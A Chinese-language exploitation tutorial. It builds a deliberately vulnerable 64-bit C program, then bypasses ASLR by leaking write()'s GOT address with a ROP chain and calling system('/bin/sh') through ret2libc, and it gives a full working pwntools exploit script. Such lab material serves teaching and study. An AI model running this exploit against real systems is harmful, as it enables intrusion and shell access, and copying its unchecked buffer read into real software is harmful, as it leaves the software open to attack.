环境:Ubuntu 14.04.5 64位
使用工具:pwntools和ROPgadget
// exp3.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void helper() {
asm("pop %rdi; pop %rsi; pop %rdx; ret");
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}
编译:现在我们把DEP打开,依然关闭stack protector
$ gcc -fno-stack-protector -o exp3 exp3.c
接下来我们打开ASLR保护。
$ sudo bash -c "echo 2 > /proc/sys/kernel/randomize_va_space"
$ cat /proc/sys/kernel/randomize_va_space
2
现在我们再回头测试一下exp2的exp2.py,发现已经不好用了
$ python exp2.py
[+] Starting local process './exp2': pid 10071
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ whoami
[*] Process './exp2' stopped with exit code -11 (SIGSEGV) (pid 10071)
[*] Got EOF while sending in interactive
如果你通过sudo cat /proc/[pid]/maps或者ldd查看,你会发现exp2的libc.so地址每次都是变化的。
$ ldd exp3
linux-vdso.so.1 => (0x00007ffefc339000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f08d9190000)
/lib64/ld-linux-x86-64.so.2 (0x000055f62a91d000)
ldzm@ubuntu:~/exp/exp3$ ldd exp3
linux-vdso.so.1 => (0x00007ffca99c2000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f42d0507000)
/lib64/ld-linux-x86-64.so.2 (0x0000557cdfe44000)
下面我们分析exp3,为了获取gadget,我们在代码中加入了我们需要的汇编代码。同样开启了地址随机化。
那么如何解决地址随机化的问题呢?思路是:我们需要先泄漏出libc.so某些函数在内存中的地址,然后再利用泄漏出的函数地址根据偏移量计算出system()函数和/bin/sh字符串在内存中的地址,然后再执行我们的ret2libc的shellcode。既然栈,libc,heap的地址都是随机的。我们怎么才能泄露出libc.so的地址呢?方法还是有的,因为程序本身在内存中的地址并不是随机的,如图所示:
Linux内存随机化分布图
所以我们只要把返回值设置到程序本身就可执行我们期望的指令了。首先我们利用objdump来查看可以利用的plt函数和函数对应的got表:
plt函数
$ objdump -d -j .plt exp3
exp3: file format elf64-x86-64
Disassembly of section .plt:
0000000000400440 <write@plt-0x10>:
400440: ff 35 c2 0b 20 00 pushq 0x200bc2(%rip) # 601008 <_GLOBAL_OFFSET_TABLE_+0x8>
400446: ff 25 c4 0b 20 00 jmpq *0x200bc4(%rip) # 601010 <_GLOBAL_OFFSET_TABLE_+0x10>
40044c: 0f 1f 40 00 nopl 0x0(%rax)
0000000000400450 <write@plt>:
400450: ff 25 c2 0b 20 00 jmpq *0x200bc2(%rip) # 601018 <_GLOBAL_OFFSET_TABLE_+0x18>
400456: 68 00 00 00 00 pushq $0x0
40045b: e9 e0 ff ff ff jmpq 400440 <_init+0x28>
0000000000400460 <read@plt>:
400460: ff 25 ba 0b 20 00 jmpq *0x200bba(%rip) # 601020 <_GLOBAL_OFFSET_TABLE_+0x20>
400466: 68 01 00 00 00 pushq $0x1
40046b: e9 d0 ff ff ff jmpq 400440 <_init+0x28>
0000000000400470 <__libc_start_main@plt>:
400470: ff 25 b2 0b 20 00 jmpq *0x200bb2(%rip) # 601028 <_GLOBAL_OFFSET_TABLE_+0x28>
400476: 68 02 00 00 00 pushq $0x2
40047b: e9 c0 ff ff ff jmpq 400440 <_init+0x28>
0000000000400480 <__gmon_start__@plt>:
400480: ff 25 aa 0b 20 00 jmpq *0x200baa(%rip) # 601030 <_GLOBAL_OFFSET_TABLE_+0x30>
400486: 68 03 00 00 00 pushq $0x3
40048b: e9 b0 ff ff ff jmpq 400440 <_init+0x28>
got表
$ readelf -r exp3
Relocation section '.rela.dyn' at offset 0x3a0 contains 1 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000600ff8 000400000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
Relocation section '.rela.plt' at offset 0x3b8 contains 4 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000601018 000100000007 R_X86_64_JUMP_SLO 0000000000000000 write + 0
000000601020 000200000007 R_X86_64_JUMP_SLO 0000000000000000 read + 0
000000601028 000300000007 R_X86_64_JUMP_SLO 0000000000000000 __libc_start_main + 0
000000601030 000400000007 R_X86_64_JUMP_SLO 0000000000000000 __gmon_start__ + 0
我们发现除了程序本身的实现的函数之外,我们还可以使用read@plt()和write@plt()函数。但因为程序本身并没有调用system()函数,所以我们并不能直接调用system()来获取shell。但其实我们有write@plt()函数就够了,因为我们可以通过write@plt ()函数把write()函数在内存中的地址也就是write.got给打印出来。既然write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got 跳转到真正的write()函数上去。
因为system()函数和write()在libc.so中的offset(相对地址)是不变的,所以如果我们得到了write()的地址并且拥有目标服务器上的libc.so就可以计算出system()在内存中的地址了。然后我们再将pc指针return回vulnerable_function()函数,就可以进行ret2libc溢出攻击,并且这一次我们知道了system()在内存中的地址,就可以调用system()函数来获取我们的shell了。
使用ldd命令可以查看目标程序调用的so库。随后我们把libc.so拷贝到当前目录,因为我们的exp3需要这个so文件来计算相对地址:
$ ldd exp3
linux-vdso.so.1 => (0x00007ffda0df6000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe2e4f9f000)
/lib64/ld-linux-x86-64.so.2 (0x00005597c7abb000)
$ cp /lib/x86_64-linux-gnu/libc.so.6 libc.so
exp3.c和exp2.c有一点不同,是因为我们需要这个gadget,但是exp2的二进制中没有。为了简单,我们直接加入了汇编代码。仅仅用来实现上面描述的获取write的地址。
由于lib库的初始地址是随机的,所以我们必须在exp3中找自己使用的gadget。
$ ROPgadget --binary exp3 --only "pop|ret" | grep rdi
0x0000000000400581 : pop rdi ; pop rsi ; pop rdx ; ret
0x0000000000400643 : pop rdi ; ret
获取write的地址:
payload1 = 'A'*136
payload1 += p64(pop_pop_pop_ret_addr)
payload1 += p64(0x1)
payload1 += p64(got_write)
payload1 += p64(0x8)
payload1 += p64(plt_write)
payload1 += p64(main_addr)
最终脚本:
#!/usr/bin/env python
from pwn import *
libc = ELF('libc.so')
elf = ELF('exp3')
p = process('./exp3')
#p = remote('127.0.0.1',10001)
pop_ret_addr=0x0000000000400643
pop_pop_pop_ret_addr=0x0000000000400581
main_addr = 0x00000000004005a7
plt_write = elf.symbols['write']
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
payload1 = 'A'*136
payload1 += p64(pop_pop_pop_ret_addr)
payload1 += p64(0x1)
payload1 += p64(got_write)
payload1 += p64(0x8)
payload1 += p64(plt_write)
payload1 += p64(main_addr)
#print p.recv()
print "\n###sending payload1 ...###"
p.send(payload1)
print "\n###receving write() addr...###"
write_addr = u64(p.recv(8))
print 'write_addr=' + hex(write_addr)
print "\n###calculating system() addr and \"/bin/sh\" addr...###"
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)
payload2 = 'A'*136
payload2 += p64(pop_ret_addr)
payload2 += p64(binsh_addr)
payload2 += p64(system_addr)
payload2 += p64(main_addr)
print "\n###sending payload2 ...###"
p.send(payload2)
p.interactive()
执行结果:
[1]http://drops.xmd5.com/static/drops/tips-6597.html
本文大部分内容和这篇文章相同,只是本文是在64位系统上重新整理。